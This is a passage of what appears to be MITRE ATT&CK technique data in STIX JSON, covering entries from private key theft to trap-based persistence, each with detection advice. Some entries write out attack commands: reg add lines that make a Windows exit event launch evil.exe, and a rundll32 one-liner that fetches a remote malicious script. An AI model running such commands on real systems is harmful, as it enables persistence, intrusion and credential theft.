Crypto"},{"url":"https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf","description":"Kaspersky Labs. (2014, February 11). Unveiling “Careto” - The Masked APT. Retrieved July 5, 2017.","source_name":"Kaspersky Careto"},{"url":"https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/","description":"Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia – Game Over. Retrieved July 5, 2017.","source_name":"Palo Alto Prince of Persia"}],"modified":"2020-03-29T21:36:36.613Z","name":"Private Keys","description":"Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:&#92;Users&#92;(username)&#92;.ssh&#92;</code> on Windows. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","File: File Access"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337","type":"attack-pattern","created":"2020-10-01T00:48:09.578Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1583.004","url":"https://attack.mitre.org/techniques/T1583/004"},{"source_name":"NYTStuxnet","description":"William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.","url":"https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html"},{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."},{"source_name":"Mandiant SCANdalous Jul 2020","url":"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation","description":"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021."},{"source_name":"Koczwara Beacon Hunting Sep 2021","url":"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2","description":"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021."}],"modified":"2021-10-17T15:39:45.736Z","name":"Server","description":"Adversaries may buy, lease, or rent physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations.\n\nAdversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Content","Internet Scan: Response Metadata"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65","type":"attack-pattern","created":"2020-02-11T18:29:47.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1021.006","url":"https://attack.mitre.org/techniques/T1021/006"},{"url":"http://msdn.microsoft.com/en-us/library/aa384426","description":"Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.","source_name":"Microsoft WinRM"},{"url":"https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2","description":"Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell&#91;slides&#93;. Retrieved November 12, 2014.","source_name":"Jacobsen 2014"},{"url":"https://msdn.microsoft.com/en-us/library/aa394582.aspx","description":"Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.","source_name":"MSDN WMI"},{"source_name":"Medium Detecting Lateral Movement","url":"https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc","description":"French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019."}],"modified":"2021-06-23T19:22:52.870Z","name":"Windows Remote Management","description":"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM  can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior.  Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) Also monitor for remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Command: Command Execution","Service: Service Metadata","Process: Process Creation","Logon Session: Logon Session Creation"],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd","type":"attack-pattern","created":"2020-03-09T17:07:57.392Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1011.001","url":"https://attack.mitre.org/techniques/T1011/001"}],"modified":"2022-03-08T21:02:15.802Z","name":"Exfiltration Over Bluetooth","description":"Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.\n\nAdversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\n\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","File: File Access","Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Flow","Command: Command Execution"]},{"x_mitre_platforms":["Windows","Azure AD","Office 365","SaaS","IaaS","Linux","macOS","Google Workspace","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d","type":"attack-pattern","created":"2020-03-13T20:15:31.974Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1078.001","url":"https://attack.mitre.org/techniques/T1078/001"},{"external_id":"CAPEC-70","source_name":"capec","url":"https://capec.mitre.org/data/definitions/70.html"},{"source_name":"Microsoft Local Accounts Feb 2019","url":"https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts","description":"Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019."},{"source_name":"AWS Root User","url":"https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html","description":"Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021."},{"source_name":"Threat Matrix for Kubernetes","url":"https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/","description":"Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021."},{"source_name":"Metasploit SSH Module","url":"https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh","description":"Metasploit. (n.d.). Retrieved April 12, 2019."}],"modified":"2021-04-05T20:14:26.846Z","name":"Default Accounts","description":"Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_detection":"Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["User Account: User Account Authentication","Logon Session: Logon Session Creation"],"x_mitre_permissions_required":["Administrator","User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Scott Lundgren, @5twenty9, Carbon Black"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc","created":"2020-01-24T15:51:52.317Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1547.003","url":"https://attack.mitre.org/techniques/T1547/003"},{"source_name":"Github W32Time Oct 2017","url":"https://github.com/scottlundgren/w32time","description":"Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018."},{"source_name":"Microsoft W32Time May 2017","url":"https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings","description":"Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018."},{"source_name":"Microsoft W32Time Feb 2018","url":"https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top","description":"Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018."},{"source_name":"Microsoft TimeProvider","url":"https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx","description":"Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018."},{"source_name":"TechNet Autoruns","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of  <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\</code>.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)","modified":"2022-04-20T16:31:16.715Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Time Providers","x_mitre_detection":"Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code> as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Module: Module Load","Windows Registry: Windows Registry Key Modification"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["SYSTEM","Administrator"],"x_mitre_effective_permissions":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Oddvar Moe, @oddvarmoe"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--62166220-e498-410f-a90a-19d4339d4e99","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1183","url":"https://attack.mitre.org/techniques/T1183"},{"url":"https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/","description":"Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.","source_name":"Microsoft Dev Blog IFEO Mar 2010"},{"url":"https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview","description":"Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.","source_name":"Microsoft GFlags Mar 2017"},{"url":"https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit","description":"Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.","source_name":"Microsoft Silent Process Exit NOV 2017"},{"url":"https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/","description":"Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.","source_name":"Oddvar Moe IFEO APR 2018"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"url":"https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml","description":"FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.","source_name":"FSecure Hupigon"},{"url":"https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2","description":"Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.","source_name":"Symantec Ushedix June 2008"}],"modified":"2020-11-10T18:29:30.417Z","name":"Image File Execution Options Injection","description":"Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\\dbg\\ntsd.exe -g  notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<executable></code> where <code><executable></code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512</code>\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1</code>\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"</code>\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Autoruns Analysis"],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ricardo Dias","Casey Smith"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5","type":"attack-pattern","created":"2017-05-31T21:31:06.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1085","url":"https://attack.mitre.org/techniques/T1085"},{"source_name":"Trend Micro CPL","description":"Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"},{"source_name":"This is Security Command Line Confusion","description":"B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018.","url":"https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/"}],"modified":"2020-01-31T19:01:41.919Z","name":"Rundll32","description":"The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Anti-virus","Application whitelisting","Digital Certificate Validation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Travis Smith, Tripwire","Matthew Demaske, Adaptforward"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b","type":"attack-pattern","created":"2017-05-31T21:30:34.928Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1031","url":"https://attack.mitre.org/techniques/T1031"},{"external_id":"CAPEC-551","source_name":"capec","url":"https://capec.mitre.org/data/definitions/551.html"},{"url":"https://twitter.com/r0wdy_/status/936365549553991680","description":"The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.","source_name":"Twitter Service Recovery Nov 2017"},{"url":"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)","description":"Microsoft. (2013, February 22). Set up Recovery Actions to Take Place When a Service Fails. Retrieved April 9, 2018.","source_name":"Microsoft Service Recovery Feb 2013"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"}],"modified":"2020-03-16T16:05:53.825Z","name":"Modify Existing Service","description":"Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) \n\nService information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.\n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute [cmd](https://attack.mitre.org/software/S0106) commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--63220765-d418-44de-8fae-694b3912317d","type":"attack-pattern","created":"2020-01-24T14:17:43.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1546.005","url":"https://attack.mitre.org/techniques/T1546/005"},{"source_name":"Trap Manual","url":"https://ss64.com/bash/trap.html","description":"ss64. (n.d.). trap. Retrieved May 21, 2019."},{"source_name":"Cyberciti Trap Statements","url":"https://bash.cyberciti.biz/guide/Trap_statement","description":"Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019."}],"modified":"2020-03-24T16:43:02.273Z","name":"Trap","description":"Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation","Process: Process Creation","Command: Command Execution","File: File Modification"],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825","type":"attack-pattern","created":"2020-03-13T20:09:59.569Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1574.006","url":"https://attack.mitre.org/techniques/T1574/006"},{"external_id":"CAPEC-13","source_name":"capec","url":"https://capec.mitre.org/data/definitions/13.html"},{"external_id":"CAPEC-640","source_name":"capec","url":"https://capec.mitre.org/data/definitions/640.html"},{"source_name":"Man 